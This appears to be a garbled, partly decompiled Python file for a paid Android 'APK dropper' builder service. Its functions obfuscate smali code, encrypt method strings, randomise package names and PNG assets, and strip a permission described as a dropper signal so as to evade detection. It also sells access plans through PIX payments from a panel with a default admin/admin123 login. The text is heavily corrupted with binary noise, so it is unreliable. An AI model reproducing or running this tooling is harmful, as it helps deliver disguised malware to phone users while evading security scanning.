    .locals 4z    const-string v2, ".r   r«  z[enc_main] z'[enc_main] nenhum patch em MainActivity)rÅ  rz   Úgetr¡   rC  r¢   r[   r­   rI  rJ  rG  rK  )rL  rW  rO  rN  rM  rV  rS  r—  rÇ  rÈ  rL   rÉ  rÊ  rÕ  ÚtÚorigrS   rÍ  Ú_main_targetÚ_mrdÚ_mfsÚ_mfnÚ_mfÚmtÚmorigÚmnrF   )rŽ  rì  r  rí  rG   Ú_encrypt_receiver_strings€  s¾   €ÿ
ÿ


ÿ€ÿ
ÿ



þ

ÿærú  c                 C   s  dd l }tj | d¡}tj |¡stdƒ d S i }t |¡D ]'}tj |¡\}}| ¡ dv rEd t	j
|jt	 dd¡d¡}|| ¡  ||< q|sNtd	ƒ d S td
t|ƒ ƒ | ¡ D ]0\}}	zt tj ||¡tj ||	¡¡ W qZ tyŠ }
 ztdt|
ƒ ƒ W Y d }
~
qZd }
~
ww t | ¡D ]o\}}}|D ]g}| d¡sŸq—tj ||¡}zOt|dddd}| ¡ }W d   ƒ n1 s¾w   Y  |}| ¡ D ]
\}}	| ||	¡}qÉ||krôt|ddd}| |¡ W d   ƒ n1 sïw   Y  W q— tyþ   Y q—w qtd
tt|ƒƒ d ƒ d S )Nr   Úassetsz$[assets] assets/ nao existe, pulando)ú.htmlú.cssz.jsrW   r   rO   rt   z)[assets] nenhum .html/.css/.js encontradoz	[assets] z[assets] rename falhou: )r#  r'  r(  rü  rý  r)  r*  r+  r,  r/  r0  z asset(s) renomeados)rz   r¡   r¢   r[   r¬   r­   ÚlistdirÚsplitextÚlowerrB   ry   r{   rJ   r]   rE  rH  r±   rC  rD  rI  rJ  rG  rK  rx  )rL  rì  Ú
assets_dirÚ
rename_mapr\  ÚbaseÚextÚrandÚoldÚnewÚerZ  rL   r[  r`  ra  rb  rc  rF   rF   rG   Ú_randomize_assetsö  sZ   €$€ÿ

ÿÿ€ÿór	  c              
   C   s\  t ƒ }| dd¡}| dd¡}tjj| dg| d¡¢R Ž }tjj| dg| d¡¢R Ž }tj |¡rBtjtj |¡dd t	 
||¡ t | ¡D ]d\}}}	|	D ]\}
|
 d¡sVqNtj ||
¡}zHt|ddd	d
}| ¡ }W d   ƒ n1 suw   Y  | ||¡ ||¡}||kr¤t|ddd}| |¡ W d   ƒ n1 sŸw   Y  W qN   Y qNqGd S )Nrw   ú/r"  T©Úexist_okr&  r)  r*  r+  r,  r/  r0  )r   rG  r¡   r¢   r[   Úsplitr¬   ÚmakedirsÚdirnamer¯   ÚmoverC  rD  rI  rJ  rK  )rL  Úorig_pkgÚnew_pkgÚ
orig_slashÚ	new_slashÚ	old_smaliÚ	new_smaliÚroot_dirrL   ÚfilesÚfnameÚfpathra  ÚcontentÚncrF   rF   rG   Ú_randomize_dropper_package  s6   

ÿÿ€ôÿr  c                 C   sÆ  t t dd¡ƒ}t dd¡› dt dd¡› dt dd¡› }tj | d¡}tj |¡r{zKt|d	ƒ}| ¡ }W d   ƒ n1 s@w   Y  t	 
d
d|› d|¡}t	 
dd|› d|¡}t|dƒ}| |¡ W d   ƒ n1 spw   Y  W n   Y tj | d¡}tj |¡rázRt|d	dd}| ¡ }W d   ƒ n1 sŸw   Y  t	 
dd|› d|¡}t	 
dd|› d|¡}t|ddd}| |¡ W d   ƒ W d S 1 sÓw   Y  W d S    Y d S d S )Né2   iç  r%  rI   rw   r   é   úapktool.ymlr)  zversionCode: '[^']*'zversionCode: 'ú'zversionName: '[^']*'zversionName: 'r/  úAndroidManifest.xmlr*  r0  z platformBuildVersionCode="[^"]*"zplatformBuildVersionCode="r¶  z platformBuildVersionName="[^"]*"zplatformBuildVersionName=")r]   rB   rJ   r¡   r¢   r[   r¬   rI  rJ  rt  rw  rK  )rL  ÚvcÚvnÚyml_pathra  r  Úmf_pathrF   rF   rG   Ú_randomize_version6  s(   ,24€6Búr'  c                    sJ  t dd„ dD ƒƒ‰ ‡ ‡fdd„}t d¡}t d¡}t d¡}tj ˆd	¡}d
}t |¡D ]ê\}}}	|	D ]á}
|
 d¡s>q5tj ||
¡}||ƒsJq5z­t|dddd}| 	¡ }W d   ƒ n1 scw   Y  d|v spd|v rrW q5|j
dd}g }d
}d}d
}|t|ƒk rÓ| || ¡rš| || ¡ |d7 }q€| || ¡rÂg }|}|t|ƒk rË| || ¡rË| || ¡ |d7 }|t|ƒk rË| || ¡s³g }d
}|t|ƒk r| || ¡rþ|d t|ƒk rþ| ||d  ¡rþ| |||d … ¡ |d7 }n| |||d … ¡ |d7 }|t|ƒk sÖt|ƒdkrºt ¡ dk rº|d7 }t dt|ƒd ¡}dd„ |d |… D ƒ}dd„ ||d … D ƒ}| |d
 ¡sU| |d
 ¡r]| |¡ |}q€t d¡t|dƒ }d| d| d | }}}| d!| d" ¡ | d#| d" ¡ | |¡ | d!| d" ¡ | d#| d" ¡ | |¡ | d!| d" ¡ | d#| d" ¡ d}|}n| |¡ |}n| || ¡ |d7 }|t|ƒk s‡|r÷t|d$dd%}| |¡ W d   ƒ n	1 sîw   Y  |d7 }W q5 ty } ztd&|
 d' t|ƒ ƒ W Y d }~q5d }~ww q-td(t|ƒ d) ƒ d S )*Nc                 s   ó$    | ]}t jjd g|¢R Ž V  qdS ©r"  N©r¡   r¢   r[   ©rK   ÚpartsrF   rF   rG   rT   L  ó
   € ÿ
ÿz#_obfuscate_gotos.<locals>.<genexpr>©)ÚdevÚakamai)ÚioÚgitlab)ÚcomÚandroidÚsystem)r3  Ú
cloudflare)ÚnetÚgithub)r3  Úadobec                    ó$   t j | ˆ¡‰ t‡ fdd„ˆD ƒƒS )Nc                 3   ó    | ]}ˆ   |¡V  qd S r  ©rF  ©rK   r)  ©ÚrelrF   rG   rT   U  ó   € z4_obfuscate_gotos.<locals>._is_own.<locals>.<genexpr>©r¡   r¢   ÚrelpathÚany©r`  ©Ú_DROPPER_ROOTSrL  r>  rG   Ú_is_ownS  ó   z!_obfuscate_gotos.<locals>._is_ownú ^\s+(?:invoke-|filled-new-array)ú^\s+move-resultzW^\s{4}(?!goto\b|if-|return|throw\b|packed-switch|sparse-switch|fill-array-data)[a-zA-Z]r"  r   r#  r)  r*  r+  r,  z
:try_startz.catch T)ÚkeependsFr%  é   rv   çffffffÖ?c                 S   ó   g | ]	}|D ]}|‘qqS rF   rF   ©rK   ÚuÚlrF   rF   rG   rM   |  ó    z$_obfuscate_gotos.<locals>.<listcomp>c                 S   rN  rF   rF   rO  rF   rF   rG   rM   }  rR  é   Ú03xz:gf_z:gb_z:ge_z	    goto rs  z    r/  r0  z[goto] erro em rš   z[goto] z! arquivo(s) fragmentados com goto)Útuplert  ru  r¡   r¢   r[   rC  rD  rI  rJ  Ú
splitlinesrx  ÚmatchrZ   rB   rJ   Úextendr£   r¤   ÚformatÚ
writelinesr±   r­   r]   )rL  rG  Ú_INVOKEÚ_MRESÚ_PURErX  Úfiles_patchedrZ  rL   r[  r\  r`  ra  rb  ÚlinesÚ	new_linesrQ   ÚmodifiedÚuidÚrawÚjÚunitsru   ÚmidÚfirstÚsecondÚtagÚlfÚlbÚleÚexcrF   rE  rG   Ú_obfuscate_gotosK  s   þ

ÿ


ÿÿ0 ü 


Ý$ÿ€$€ÿÍ5rn  c                    sÜ  t dd„ dD ƒƒ‰ ‡ ‡fdd„}d}d}t d¡}t d	¡}d
d„ }tj ˆd¡}d}d}	t |¡D ](\}
}}|D ]}| d¡sCq:tj |
|¡}||ƒsOq:zìt|dddd}| 	¡ }W d   ƒ n1 sgw   Y  g }d}d}d}t
|ƒD ]—\}}| ¡ }| d¡rˆd}n|dkrŽd}|D ]}| |¡r|d7 } nq| |¡ |D ]}| |¡rµtd|d ƒ} nq¥t| |¡ƒ}|||ƒ}t| |¡ƒ}|r|dkr|r| d¡s| d¡s| d¡s|dkr|s|st ¡ dk rt|ƒt| ¡ ƒ }| d| d ¡ |d7 }qx|dkr:t|ddd }| |¡ W d   ƒ n	1 s-w   Y  ||7 }|	d7 }	W q: tyZ } ztd!| d" t|ƒ ƒ W Y d }~q:d }~ww q2td#t|ƒ d$ t|	ƒ d% ƒ d S )&Nc                 s   r(  r)  r*  r+  rF   rF   rG   rT   ™  r-  z_insert_nops.<locals>.<genexpr>r.  c                    r:  )Nc                 3   r;  r  r<  r=  r>  rF   rG   rT   ¢  r@  z0_insert_nops.<locals>._is_own.<locals>.<genexpr>rA  rD  rE  r>  rG   rG     rH  z_insert_nops.<locals>._is_own)z.annotationz.array-dataz.packed-switchz.sparse-switchz.subannotation)z.end annotationz.end array-dataz.end packed-switchz.end sparse-switchz.end subannotationrI  rJ  c                 S   sX   |d }|t | ƒk r | |  ¡ s |d7 }|t | ƒk r | |  ¡ r|t | ƒk r*| | S dS )Nr%  rW   )rx  Ústrip)r_  Úidxrd  rF   rF   rG   Ú_next_nonemptyª  s
   ÿz$_insert_nops.<locals>._next_nonemptyr"  r   r#  r)  r*  r+  r,  Fz.method Tz.end methodr%  rw   ú:ú#Únopçš™™™™™É?rA   znop
r/  r0  z[nop] erro em rš   z[nop] z nop(s) em z arquivo(s))rU  rt  ru  r¡   r¢   r[   rC  rD  rI  Ú	readlinesÚ	enumeratero  rF  rZ   ÚmaxÚboolrW  rB   rx  ÚlstriprZ  r±   r­   r]   )rL  rG  Ú_BLOCK_OPENÚ_BLOCK_CLOSEÚ
_INVOKE_REÚ_MRES_RErq  rX  Ú
total_nopsr^  rZ  rL   r[  r\  r`  ra  r_  r`  Úin_blockÚ	in_methodÚaddedrp  ÚlineÚsÚblkÚcurr_is_invokeÚ	next_realÚnext_is_mresÚindentrm  rF   rE  rG   Ú_insert_nops˜  s–   þ




ÿ

þ

þ
ÿþý
ÿþ€
ÿ€$€ÿÓ$/rŠ  c                    s¬  t dd„ dD ƒƒ‰ ‡ ‡fdd„}tj ˆd¡}t d¡dft d	¡d
ft d¡dft d¡dfg}d}t |¡D ]‘\}}}|D ]‰}| d¡sGq?tj ||¡}	||	ƒsSq?zWt|	dddd}
|
 	¡ }W d   ƒ n1 skw   Y  |}|D ]\}}|fdd„}| 
||¡}qt||kr©t|	ddd}
|
 |¡ W d   ƒ n1 s w   Y  |d7 }W q? tyÈ } ztd| d t|ƒ ƒ W Y d }~q?d }~ww q8tdt|ƒ d ƒ d S )Nc                 s   r(  r)  r*  r+  rF   rF   rG   rT   ç  r-  z _swap_opcodes.<locals>.<genexpr>r.  c                    r:  )Nc                 3   r;  r  r<  r=  r>  rF   rG   rT   ð  r@  z1_swap_opcodes.<locals>._is_own.<locals>.<genexpr>rA  rD  rE  r>  rG   rG  î  rH  z_swap_opcodes.<locals>._is_ownr"  z(?m)^(\s+)const/4(\s)zconst/16z(?m)^(\s+)move-object(\s)zmove-object/from16z(?m)^(\s+)move(?![-/])(\s)zmove/from16z&(?m)^(\s+)move-wide(?!/from16|/16)(\s)zmove-wide/from16r   r#  r)  r*  r+  r,  c                 S   s.   t   ¡ dk r|  d¡| |  d¡ S |  d¡S )Nç      à?r%  rL  r   )rB   Úgroup)ÚmÚoprF   rF   rG   Ú_sub  s   .z_swap_opcodes.<locals>._subr/  r0  r%  z[opcodes] erro em rš   z
[opcodes] z$ arquivo(s) com opcodes substituidos)rU  r¡   r¢   r[   rt  ru  rC  rD  rI  rJ  rw  rK  r±   r­   r]   )rL  rG  rX  Ú_SWAPSr^  rZ  rL   r[  r\  r`  ra  rb  rc  ÚpatÚnew_opr  rm  rF   rE  rG   Ú_swap_opcodesæ  sH   þü

ÿÿ€$€ÿðr“  c                 C   sÎ  dd l }dd l}tj | d¡}tj |¡sd S d}t |¡D ]¼\}}}|D ]´}| ¡  d¡s/q%tj ||¡}	z…t	|	dƒ}
|
 
¡ }W d   ƒ n1 sKw   Y  | d¡sWW q%| d¡}|dk rbW q%|d }t d¡ ¡ }d	| }d
}| || ¡d@ }| dt|ƒ¡| | | d|¡ }|d |… | ||d …  }t	|	dƒ}
|
 |¡ W d   ƒ n1 s±w   Y  |d7 }W q% tyÙ } ztd| d t|ƒ ƒ W Y d }~q%d }~ww qtdt|ƒ d ƒ d S )Nr   r¹   ú.pngÚrbs   ‰PNG

s   IENDrv   r}  s   Comment s   tEXtì   ÿÿ z>IÚwbr%  z[png] erro em rš   z[png] z PNG(s) com noise injetado)ÚstructÚzlibr¡   r¢   r[   ÚisdirrC  r   rD  rI  rJ  rF  Úrfindr£   r¤   r‡  Úcrc32Úpackrx  rK  r±   r­   r]   )rL  r˜  r™  Úres_dirÚcountrZ  rL   r[  r\  r`  ÚfhÚdataÚiend_posÚ	insert_atÚnoiseÚpayloadÚ
chunk_typeÚcrc_valÚchunkÚnew_datarm  rF   rF   rG   Ú_add_png_noise  sP   
ÿ

ÿ
ÿÿ$€ÿérª  c              
   C   s*  t j | ddd¡}t j |¡sd S zht|ddd}| ¡ }W d   ƒ n1 s(w   Y  dt d¡ }d	t d¡ d
 }d ||¡}d|v rw| 	d|d d¡}t|ddd}| 
|¡ W d   ƒ n1 sgw   Y  td| d ƒ W d S W d S  ty” } ztdt|ƒ ƒ W Y d }~d S d }~ww )Nr¹   Úxmlzfile_paths.xmlr)  r*  r0  Útmp_rv   Úcache_r
  z'    <files-path name="{}" path="{}" />
z</paths>r%  r/  z3[xml] file_paths.xml: entrada ficticia adicionada (ú)z[xml] erro: )r¡   r¢   r[   r¬   rI  rJ  r£   r¤   rY  rG  rK  r­   r±   r]   )rL  r`  r   rb  Ú
dummy_nameÚ
dummy_pathÚentryrm  rF   rF   rG   Ú_randomize_xml_paths3  s*   
ÿÿü€ÿr²  c              	      sê  ddl }ddddddœ}d}t tj | d	¡¡D ]\}}}|D ]}|d
kr.tj ||¡} nq|r3 nq|s<tdƒ dS t|ddd}| ¡ }	W d  ƒ n1 sRw   Y  d}
| ¡ D ]i\}}| 	dd¡}||	vrlq]| 
d¡‰d tjtjtj t dd¡d¡ 
d¡‰ t‡ ‡fdd„ttˆƒƒD ƒƒ}| |¡ ¡ }| ˆ ¡ ¡ }|	 	d|› dd|› dd¡}	|	 	d|› dd|› dd¡}	|
d7 }
q]|
rït|ddd}| |	¡ W d  ƒ n1 sàw   Y  td|
› dƒ dS tdƒ dS )uƒ   XOR-cifra os placeholders de nomes de metodo em H.smali.
    Cada build gera chaves diferentes â€” os bytes do APK mudam por build.r   NÚgetPackageManagerÚgetSystemServiceÚcanRequestPackageInstallsÚgetPackageNameÚgetLaunchIntentForPackage)ÚH_DATA_AÚH_DATA_BÚH_DATA_CÚH_DATA_DÚH_DATA_Er"  zH.smaliz'[enc_h] H.smali nao encontrado, pulandor)  r*  r0  ÚDATAÚKEYrW   r}  r‘   rt   c                 3   r~  r  r€  rP   ©Ú_kbÚ_ptrF   rG   rT   j  r„  z%_encrypt_h_strings.<locals>.<genexpr>r¶  r%  r/  z[enc_h] z string(s) cifradas em H.smaliz0[enc_h] nenhum placeholder encontrado em H.smali)rÅ  r¡   rC  r¢   r[   r­   rI  rJ  rE  rG  r‡  rB   ry   rz   r…  r†  rJ   rˆ  rX   rx  r‰  rŠ  rK  )rL  rŽ  Ú_H_MAPÚh_targetrÈ  rL   rÉ  rÊ  Ú_fÚ_txtÚ_patchedÚ_data_phrÐ  Ú_key_phÚ_encÚ_enc_b64Ú_key_b64rF   r¿  rG   Ú_encrypt_h_stringsG  s\   ûþÿ
ÿ

ÿÿ 
ÿrÌ  Úapk_dropperz.secret_keyr)  é    Tr  r/  i  €ÚMAX_CONTENT_LENGTHFÚSESSION_COOKIE_SECUREÚSESSION_COOKIE_HTTPONLYÚLaxÚSESSION_COOKIE_SAMESITErs   ©ÚdaysÚPERMANENT_SESSION_LIFETIMEÚuploadsÚUPLOAD_FOLDERÚoutputsÚOUTPUT_FOLDERÚpdfsÚ
PDF_FOLDERz	data.jsonzpdf_tokens.jsonÚdropper_rebuildÚplaystore_overlayÚredirect_overlayz
signer.jarzapktool.jarrL  rO   r›   é   z7 DiasihB  )rÕ  ÚlabelÚpriceé   z15 Diasixi  r•   z30 Diasi Œ  )Ú7Ú15Ú30é€rk c                 C   s   d S r  rF   )ÚtitleÚdescriptionÚcolorÚfieldsrF   rF   rG   Úsend_discord_webhook³  s   rì  c                  C   s²  t j t¡sPdtdƒddt ¡  ¡ d d dg d ddddœdœ
ii i g d	d
dddddddœdœdœ} ttdƒ}t	j
| |dd W d   ƒ | S 1 sIw   Y  | S ddddddœ}ttdƒr}zUt	 |¡}d|vrpd	d
ddœ|d< d|d vrt|ƒ|d d< n| ¡ D ]\}}|d d  ||¡ qƒd|vrši |d< d|vr¢g |d< d|vrªi |d< |W W  d   ƒ S    i i g i d	d
dt|ƒdœdœ Y W  d   ƒ S 1 sÒw   Y  d S )NÚadminÚadmin123ÚownerrW   Úactiver   ©Útotal_buildsÚsuccessful_buildsÚfailed_builds©
r¶   ÚroleÚemailÚ
created_atÚlicense_daysÚlicense_expires_atÚstatusÚbuildsÚteam_idÚamplificationrO   r•   rs   zhttps://api.syncpayments.com.brF)Úbase_urlÚ	client_idÚclient_secretÚwebhook_secretÚenabled)Úmax_users_per_adminÚdefault_license_daysÚauto_cleanup_daysÚgateway)ÚusersÚpending_registrationsÚteamsÚhistoryÚsettingsr/  rv   ©r‰  r)  r  )r  r  r  r  r
  r  r	  )r  r
  r  r	  r  )r¡   r¢   r¬   Ú	DATA_FILEr   r   ÚnowÚ	isoformatrI  ÚjsonÚdumpÚloadÚdictrE  Ú
setdefault)Úinitial_datara  Ú_default_gwr¡  ru   rq   rF   rF   rG   Ú	load_data·  sv   

öÿûüî
ÿþ
ðþþ$îr  c              
   C   s¦   t G td }t|dƒ'}tj| |dd | ¡  z	t | ¡ ¡ W n	 t	y+   Y nw W d   ƒ n1 s6w   Y  t 
|t¡ W d   ƒ d S 1 sLw   Y  d S )Nz.tmpr/  rv   r  )Ú
_save_lockr  rI  r  r  Úflushr¡   ÚfsyncÚfilenoÚOSErrorrG  )r¡  Útmp_pathra  rF   rF   rG   Ú	save_dataù  s   ÿ€û"÷r  c                 C   s&   |   d¡s
|   d¡rt| |ƒS | |kS )Núpbkdf2:úscrypt:)rF  r   )ÚstoredÚprovidedrF   rF   rG   Úverify_password  s   
r$  c                 C   sb   |   d¡dkr	dS |   d¡dkrdS |   d¡}|r/zt ¡ t |¡kr&W dS W dS    Y dS dS )Nrû  ÚinactiveTrö  rï  Frú  )rï  r   r  Úfromisoformat)Ú	user_datarú  rF   rF   rG   Úis_user_expired  s   
ÿþr(  c                 C   sv   | sdS |   ¡ } |  d¡dkr#ztdd„ |  d¡D ƒƒW S    Y dS d| v r9d| vr9d| vr9d	| vr9d
| vr9dS dS )NFrw   rS  c                 s   s,    | ]}d t |ƒ  kodkn  V  qdS )r   éÿ   N©Úint)rK   ÚprF   rF   rG   rT      ó   €* z_is_valid_ip.<locals>.<genexpr>rr  rA   r¶  r!  ú<T)ro  rŸ  Úallr  )r„  rF   rF   rG   Ú_is_valid_ip  s   (r0  c                  C   s:   dD ]} t j | d¡ ¡ }t|ƒr|  S qt jpd ¡ S )N)zCF-Connecting-IPz	X-Real-IPrW   Úunknown)r   Úheadersrï  ro  r0  Úremote_addr)Úheaderrq   rF   rF   rG   Úget_client_ip'  s   ÿr5  c                    ó2   t   ¡ ‰ ‡ fdd„t|  D ƒt| < tt|  ƒtkS )Nc                    ó   g | ]
}ˆ | t k r|‘qS rF   )ÚATTEMPT_WINDOW©rK   rð  ©r  rF   rG   rM   2  ó    z#is_rate_limited.<locals>.<listcomp>)ÚtimeÚlogin_attemptsrx  ÚMAX_ATTEMPTS©ÚiprF   r:  rG   Úis_rate_limited0  ó   rA  c                 C   ó   t |   t ¡ ¡ d S r  )r=  rZ   r<  r?  rF   rF   rG   Úrecord_login_attempt5  ó   rD  c                    r6  )Nc                    r7  rF   )ÚREGISTER_WINDOWr9  r:  rF   rG   rM   :  r;  z'is_register_limited.<locals>.<listcomp>)r<  Úregister_attemptsrx  ÚMAX_REGISTER_ATTEMPTSr?  rF   r:  rG   Úis_register_limited8  rB  rI  c                 C   rC  r  )rG  rZ   r<  r?  rF   rF   rG   Úrecord_register_attempt=  rE  rJ  c                 C   s*   t ƒ }| |d v r|d |   dd¡S d S )Nr  rö  Úoperator©r  rï  ©Úusernamer¡  rF   rF   rG   Úget_user_role@  s   rO  c                 C   s(   t ƒ }| |d v r|d |   d¡S d S )Nr  rý  rL  rM  rF   rF   rG   Úget_team_idF  s   rP  c                 C   sv   t ƒ }|d  | i ¡ d¡}|d  |i ¡ d¡}|dkrdS |dkr9|dkr9|d |   d¡|d |  d¡kS dS )	Nr  rö  rï  Trí  rK  rý  FrL  )Úcurrent_userÚtarget_userr¡  Úcurrent_roleÚtarget_rolerF   rF   rG   Úcan_manage_userL  s   $rU  c              	   C   sJ   t ƒ }|d  d| ||t ¡  d¡dœ¡ |d d d… |d< t|ƒ d S )Nr  r   ú%d/%m/%Y %H:%M:%S)ÚuserÚactionÚdetailsÚ	timestampéô  )r  Úinsertr   r  Ústrftimer  )rW  rX  rY  r¡  rF   rF   rG   Úadd_historyW  s   
þr^  c              
   C   sä   t ƒ }| |d v rpd|d |  vrg |d |  d< |d |  d }|D ]%}| d¡|krH||d< t ¡  ¡ |d< t ¡  d¡|d< t|ƒ  d S q#| d|||t ¡  ¡ t ¡  d¡d	œ¡ |d d
… |d |  d< t|ƒ d S d S )Nr  rü  Úbuild_idrû  rZ  rV  Údate_displayr   )r_  Úapp_namerû  rZ  r`  r[  )r  rï  r   r  r  r]  r  r\  )rN  ra  rû  r_  r¡  rü  ÚbuildrF   rF   rG   Úadd_build_history`  s*   û
ýïrc  c                 C   s°   t ƒ }| |d v rVd|d |  vrddddœ|d |  d< |d |  d d  d7  < |dkr>|d |  d d  d7  < n|d	krP|d |  d d
  d7  < t|ƒ d S d S )Nr  rþ  r   rñ  rò  r%  Ú	concluidoró  Úerrorô  )r  r  )rN  Úbuild_statusr¡  rF   rF   rG   Úupdate_amplificationu  s   ørg  c                 C   s>   |}t ƒ }| D ]}|d d d@ }| ||d? d@ A ¡ q|S )Nif i_ón<r–  é   r)  )Ú	bytearrayrZ   )r¡  Úseedrd  Ú	encryptedÚbyterF   rF   rG   Úencrypt_lcg  s   rm  Úpix_codeÚreturnc                 C   s’   z>ddl }ddlm} ddl}|j|jjddd}| | ¡ |jdd |j	d	d
d}|ƒ }|j
|dd | | ¡ ¡ ¡ W S  tyH   Y dS w )z0Generate base64 PNG QR code from PIX EMV string.r   N)ÚBytesIOr   rL  ©Úerror_correctionÚbox_sizeÚborderT©ÚfitÚblackÚwhite©Ú
fill_colorÚ
back_colorÚPNG©rY  rW   )Úqrcoder1  rp  rÅ  ÚQRCodeÚ	constantsÚERROR_CORRECT_MÚadd_dataÚmakeÚ
make_imageÚsaver‰  ÚgetvaluerŠ  r±   )rn  r~  rp  rÅ  ÚqrÚimgÚbufrF   rF   rG   Ú_qr_from_pix_codeŠ  s   
ÿrŠ  Úgateway_configc           
      C   sú   |   dd¡ d¡}|   dd¡}|   dd¡}|› d|› }t  |¡}|r/t ¡ |d k r/|d S tj|› d	||d
œdddœdd}|jdkrVtd|j› d|j	dd… › ƒ‚| 
¡ }|  dd¡}t|  dd¡ƒ}	|t ¡ tt|	d dƒd dœt|< |S )zMGet or refresh Bearer token using /api/partner/v1/auth-token. Caches for ~1h.rÿ  rW   r
  r   r  rr  Ú
expires_atÚtokenz/api/partner/v1/auth-token)r   r  úapplication/json)úContent-TypeÚAcceptrã  )r  r2  r™   éÈ   zAuth falhou (ú): NÚaccess_tokenÚ
expires_iné  éx   é<   )Úseconds)r  rŒ  )rï  ÚrstripÚ_gw_token_cacher   r  Úhttp_requestsÚpostÚstatus_coder±   r˜   r  r+  r   rx  )
r‹  rÿ  r   r  Ú	cache_keyÚcachedÚresprž   r  r”  rF   rF   rG   Ú_get_gateway_tokenš  s,   
ü
 
þr¡  c                 C   sâ   |  d¡s	tdƒ‚|  dd¡ d¡}|stdƒ‚t|ƒ}t| d dƒ|p%d	d
œ}|r.||d< tj|› dd|› dddœ|dd}|jdvrVtd|j› d|jdd… › ƒ‚| 	¡ }	|	  dd¡}
|	  d|¡}t
|ƒt|
ƒ|
ddœS )z.Create PIX charge via /api/partner/v1/cash-in.r  zGateway desativadorÿ  rW   r
  z#Base URL do gateway nao configuradaéd   rL  zBYPASS - Plano de acesso)Úamountré  Úclientz/api/partner/v1/cash-inúBearer rŽ  )ÚAuthorizationr  r  r  )r2  r  r™   )r‘  éÉ   zCash-in falhou (r’  Néú   rn  Ú
identifierÚpending)Ú	charge_idÚqr_code_base64Ú
copy_pasterû  )rï  r±   r™  r¡  Úroundr›  rœ  r  r˜   r  r]   rŠ  )Úamount_centsré  Úexternal_idr‹  Úclient_datarÿ  r  Úbodyr   rž   rn  r©  rF   rF   rG   Úcreate_pix_charge·  s<   
þýø

 ür³  c                 C   s¬   |  dd¡ d¡}|r| sdS z<t|ƒ}tj |› d| › d|› ddœd	d
}|jdkrF| ¡   di ¡  dd¡}|dkr?W dS |dv rIW dS W dS W dS  tyU   Y dS w )zCPoll /api/partner/v1/transaction/{identifier} for real-time status.rÿ  rW   r
  rª  z/api/partner/v1/transaction/r¥  rŽ  )r¦  r  rO   )r2  r™   r‘  r¡  rû  Ú	completedÚpaid)ÚfailedÚrefundedÚmedr¶  )rï  r™  r¡  r›  r  r  r±   )r«  r‹  rÿ  r  r   rû  rF   rF   rG   Úcheck_pix_statusá  s0   ý
ûüþþr¹  c              
   C   s  ddl }tj | d¡}tj |¡sdS t|ddd}| ¡ }W d  ƒ n1 s)w   Y  t dd|¡}d}|j	d	d
}z‚z_t
jddtdd|d|dg	dddd}|jdkrœtj |d¡}	tj |	¡rœt|	dddd}
|
 ¡ }W d  ƒ n1 szw   Y  t d|¡}|rœ| d¡ ¡ }|rœd|vrœt d|¡rœ|}W n ty¶ } ztd|› ƒ W Y d}~nd}~ww W tj|dd ntj|dd w |rÝd|vrÝd| d }| d|d  d¡}t|d!dd}| |¡ W d  ƒ n1 sôw   Y  td"|pþd#› ƒ dS )$zÞRemove QUERY_ALL_PACKAGES (permissao broad, sinal de dropper) e injeta
    <queries> granular com o pacote do payload. Mantem getPackageInfo funcionando
    em Android 11+ sem o sinal de dropper. Nao altera o fluxo do app.r   Nr"  r)  r*  r0  zL\s*<uses-permission android:name="android\.permission\.QUERY_ALL_PACKAGES"/>rW   Úpkgq_r   Újavaú-jarrž   ú-sú-oú-fTé´   r–   r+  r,  ú#<manifest\b[^>]*\bpackage="([^"]+)"r%  rA   ú^[A-Za-z][A-Za-z0-9_.]*$z#[manifest_fix] aviso extracao pkg: rœ   z	<queries>z.
    <queries>
        <package android:name="z"/>
    </queries>
z<applicationz    <applicationr/  z1[manifest_fix] QUERY_ALL removido; <queries> pkg=z(nao detectado))rŸ   r¡   r¢   r[   r¬   rI  rJ  rt  rw  r    r©   rª   ÚAPKTOOL_JARr«   ÚsearchrŒ  ro  rW  r±   r­   r¯   r°   rG  rK  )rL  Úuser_apk_pathr²   Úmfra  ÚmanÚpayload_pkgÚpkg_decÚ_rÚ_mprÄ  Ú_mtÚ_mmÚ_candrº   Ú_qbrF   rF   rG   Ú_fix_manifest_queriesø  sR   
ÿÿþ

ÿ€€ÿ€ ÿrÐ  Úpadraoc
           —         s"  t j tjd | › d¡}
t j tjd | › d¡}t j tjd | › d¡}t j tjd | › d¡}ddd	œt| < t ¡  zízt||d
| ƒ ddd	œt| < t j 	|
¡r\t
 |
¡ t j|
dd zt |d¡}| |
¡ W d   ƒ n1 szw   Y  W n.   t |d¡}| ¡ D ]}z| ||
¡ W q   Y qW d   ƒ n1 s©w   Y  Y t j 	t j |
d¡¡sÎddd	œt| < t ddtd|d|
dg¡ ddd	œt| < t j 	|¡ràt
 |¡ t
 t|¡ t j |d¡}t j 	|¡røt
 |¡ t  |¡D ]$\}}}|D ]}d|v rzt  t j ||¡¡ W q   Y qqqý|r‡dd l}|jt j |ddd¡dd }|D ]M}t|dd!d"}| ¡ }W d   ƒ n	1 sRw   Y  d#}tjd$||tjd%}||kr…t|d&d!d"}| |¡ W d   ƒ n	1 s€w   Y  q9|d'krt j 	t ¡rt j t d¡}t j |d¡}t j 	|¡ræt  |¡D ]8\}}} t j !||¡}!t j ||!¡}"t j|"dd | D ]}#d|#v rÒqÉt
 "t j ||#¡t j |"|#¡¡ qÉq­t j t d(d)¡}$t j 	|$¡rt j |d(¡}%t j|%dd t
 "|$t j |%d)¡¡ |d*kr¯t j 	t ¡r¯t j t d¡}t j |d¡}t j 	|¡rmt  |¡D ]8\}}} t j !||¡}!t j ||!¡}"t j|"dd | D ]}#d|#v rYqPt
 "t j ||#¡t j |"|#¡¡ qPq4t j |d(¡}%t j|%dd t j t d(d+¡}&t j 	|&¡r•t
 "|&t j |%d)¡¡ t j t d(d,¡}'t j 	|'¡r¯t
 "|'t j |%d,¡¡ |d-krEt j 	t ¡rEt j t d¡}t j |d¡}t j 	|¡rt  |¡D ]8\}}} t j !||¡}!t j ||!¡}"t j|"dd | D ]}#d|#v rúqñt
 "t j ||#¡t j |"|#¡¡ qñqÕt j |d(¡}%t j|%dd |r!|nd.}(tt j |%d)¡d&d!d"})|) |(¡ W d   ƒ n	1 s@w   Y  |d/krÄt j 	t ¡rÄt j 	t#¡rÄt j t d¡}t j |d¡}t j 	|¡r«t  |¡D ]8\}}} t j !||¡}!t j ||!¡}"t j|"dd | D ]}#d|#v r—qŽt
 "t j ||#¡t j |"|#¡¡ qŽqrt j t d(d)¡}$t j 	|$¡rÓt j |d(¡}%t j|%dd t
 "|$t j |%d)¡¡ t j t#d¡}*t  |*¡D ]1\}}} t j !||*¡}!t j ||!¡}"t j|"dd | D ]}#t
